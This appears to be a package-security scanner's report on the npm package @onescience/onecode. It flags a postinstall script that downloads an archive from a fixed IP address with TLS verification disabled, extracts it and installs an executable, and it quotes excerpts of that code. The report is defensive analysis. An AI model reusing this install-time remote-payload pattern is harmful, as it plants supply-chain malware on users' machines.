@onescience/onecode@1.14.50-202608141612: Suspicious npm security | LPM Firewall

Loading npm security reports…

@onescience/onecode@1.14.50-202608141612: Suspicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./postinstall.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10scripts.postinstall = node ./postinstall.mjs Install-time code downloads an unverified remote native archive, stages it locally, activates an executable path, and exposes it to process execution. L10: import os from "os" L11: import https from "https" L12: import { fileURLToPath } from "url" ... L15: const product = "onecode" L16: const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz" L17: ... L78: const binaryName = detectPlatformAndArch().platform === "windows" ? `${product}.exe` : product L79: const binaryPath = path.join(rootDir, "node_modules", packageName, "bin", binaryName) L80: if (!fs.existsSync(binaryPath)) return null L81: return { binaryPath, binaryName, packageName } L82: } ... L99: return new Promise((resolve, reject) => {

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L10

•scripts.postinstall = node ./postinstall.mjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

platform-bootstrap.mjsView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202607281613 matchedPath = platform-bootstrap.mjs matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202607281613 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

platform-bootstrap.mjsView on unpkg

91function platformTgzUrl(version) { const base = (process.env.ONECODE_TGZ_DOWNLOAD_BASE || DEFAULT_TGZ_BASE).replace(/\/$/, "") const dir = encodeURIComponent(`onecode-${version}`) const file = encodeURIComponent(`onecode-linux-x64-${version}.tgz`) return `${base}/${dir}/${file}` } function downloadFile(url, dest) { return new Promise((resolve, reject) => { const file = fs.createWriteStream(dest) const req = https.get(url, { rejectUnauthorized: false }, (res) => {

Medium

Ai Review Evidence

Bootstrap downloads a versioned archive from a fixed IP endpoint with TLS verification disabled.

platform-bootstrap.mjsView on unpkg · L91

196console.log(`Downloading ${packageName} from ${url}`) fs.rmSync(workDir, { recursive: true, force: true }) fs.mkdirSync(workDir, { recursive: true }) await downloadFile(url, tmpTgz) console.log(`Downloaded ${path.basename(tmpTgz)} (${(fs.statSync(tmpTgz).size / 1024 / 1024).toFixed(1)} MB)`) fs.mkdirSync(tmpExtract, { recursive: true }) execSync(`tar -xzf "${tmpTgz}"`, { cwd: tmpExtract, stdio: "pipe" }) const extractedRoot = path.join(tmpExtract, "package") if (!fs.existsSync(extractedRoot)) { throw new Error(`Expected package/ inside tgz downloaded from ${url}`) }

postinstall.mjsView file

15await ensurePlatformBinary(rootDir)

Medium

Suspicious Lifecycle Evidence

postinstall invokes platform setup during npm installation.

postinstall.mjsView on unpkg · L15